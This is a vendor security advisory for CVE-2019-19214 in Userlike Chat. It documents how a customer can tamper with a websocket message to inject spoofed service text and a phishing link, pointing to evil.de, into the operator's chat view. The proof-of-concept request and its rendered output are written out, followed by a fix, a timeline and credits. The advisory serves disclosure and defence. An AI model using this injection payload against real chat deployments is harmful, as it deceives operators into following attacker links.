usd-2019-0058 | Userlike Chat

Advisory ID: usd-2019-0058
CVE Number: CVE-2019-19214
Affected Product: Userlike Chat
Vulnerability Type: Insufficient Filtering
Security Risk: Low
Vendor URL: https://userlike.com
Vendor Status: Fixed (not verified)

Description

Userlike does not handle data received via websockets requests correctly, thus a malicious client may inject content (including links) that is embedded in the operator’s chat view.

Introduction

Userlike’s chat software contains an insufficient filtering vulnerability, enabling Customers to send information to chat operators, that may appear to be service messages from the chat system. These spoofed messaged may contain links that are rendered correctly.

Proof of Concept (PoC)

1. [Customer] Start a chat session at the companie’s website

2. [Customer] Intercept traffic including websocket-requests but forward it until the following websocket-request should be sent:

42["message",{"info":"chat_info","body":{"conversation_id":126550,"info":{"url":"http://localhost:8000/userlike_widget_demo.html","page_impressions":3}},"context":4}]

2.1 [Customer] Edit the request’s „url“ parameter and forward the request:

42["message",{"info":"chat_info","body":{"conversation_id":126550,"info":{"url":"http://google.de/usd
Hier kann der Angreifer beliebigen Text schreiben.
Klicken Sie bitte hier: http://www.evil.de","page_impressions":3}},"context":4}]

3. [Operator] In the operator’s chat view the service message is rendered, including the spoofed content:

<span>Contact navigated to URL <a class="Link" href="http://google.de/usd
Hier" target="_blank">http://google.de/usd
Hier</a> kann der Angreifer beliebigen Text schreiben.
Klicken Sie bitte hier: <a class="Link" href="http://www.evil.de" target="_blank">http://www.evil.de</a></span>

Fix

Treat websocket-requests that are sent by the client as regular user controlled data. Make sure to encode or filter user controlled content before embedding and replaying it.

Timeline

  • 2019-09-18 This vulnerability was found by Konstantin Samuel during a pentest
  • 2019-11-14 Vendor schedules update for this date
  • 2020-04-29 Security advisory released

Credits

This security vulnerabilities were found by Konstantin Samuel of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.